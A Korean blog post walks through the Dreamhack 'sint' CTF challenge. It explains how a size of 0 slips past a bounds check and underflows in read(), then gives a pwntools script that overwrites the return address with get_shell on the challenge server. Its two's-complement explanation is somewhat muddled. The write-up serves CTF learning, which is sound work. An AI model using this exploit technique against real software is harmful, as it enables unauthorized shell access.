안 쓰던 블로그
sint (bof) 문제 풀이 본문
size를 입력 받은 다음 데이터를 입력 받는 문제
소스코드를 보면, get_shell함수가 보이고
main에 buf, size 등이 있다
메모리에는 다음과 같이 들어갈 것이다
생략
....
size
buf
main's sfp
main's ret
전형적인 bof문제같이 보이는데, 한 가지 문제가 있다면 if문에서 너무 큰 사이즈를 넘겨버린다는 점이다
그냥 무작정 256를 넘는 범위를 보내면 if문에서 걸러진다
그러면 어떻게 size를 주어야 if문에 안 걸리고 256이 넘는 데이터를 보낼 수 있을까?
드림핵에 이 강의(dreamhack.io/learn/2/12#11)를 참고하라고 하면서 힌트를 준다
int범위는 -2^31 ~ 2^31-1 의 범위를 갖는다
또한 int같은 변수들은 최대 범위를 넘어가면 다시 돌아가는 특성이 있다
즉, int의 최대값인 2^31-1보다 더 큰 값이 왔다고 하면, 예를 들어 2^31 값이 오면 이 값은 -2^31이 된다
그런데 컴퓨터에서는 음수 크기를 2의 보수법으로 처리한다
2^31
1000 0000 0000 0000 0000 0000 0000 0000
1의 보수(NOT)
0111 1111 1111 1111 1111 1111 1111 1111
2의 보수(1의 보수+1)
1000 0000 0000 0000 0000 0000 0000 0000
이 성질을 이용하면 if문을 넘길 수 있다
어떻게 하냐면, size값으로 0을 주면 조건문에 걸리지 않기 때문에 자연스럽게 넘어간다
그런데 read문에서 매개변수로 들어갈 때는 -1이 되면서 2^31 사이즈가 되어 버린다
2^31은 buf의 256 사이즈를 훨씬 넘기 때문에 bof를 할 수 있다
---
다시 메모리로 돌아와서, 이제 buf에서 얼마나 더미값을 덮어야 ret까지 가는지를 구해야 한다
gdb로 main을 디스어셈블하면, 맨 처음에 initialize 함수를 호출하기 전에 sub로 0x104만큼 공간을 확보하는 부분이 있다. 이것이 buf의 범위이다
0x104(HEX) = 260(DEC)이고, ret이전에 sfp(4바이트)가 있으므로 260+4만큼 가면 ret에 도착한다
그럼 ret에다가 get_shell의 주소를 넣어주기만 하면 된다
from pwn import *
#p = process("./sint")
p = remote("host1.dreamhack.games", 8872)
elf = ELF("./sint")
get_shell = elf.symbols["get_shell"]
pay="A"*264
pay+=p32(get_shell)
p.recvuntil("Size: ")
p.sendline("0")
p.recvuntil("Data: ")
p.sendline(pay)
p.interactive()
코드를 실행시키고 flag를 cat으로 출력하면 플래그를 얻을 수 있다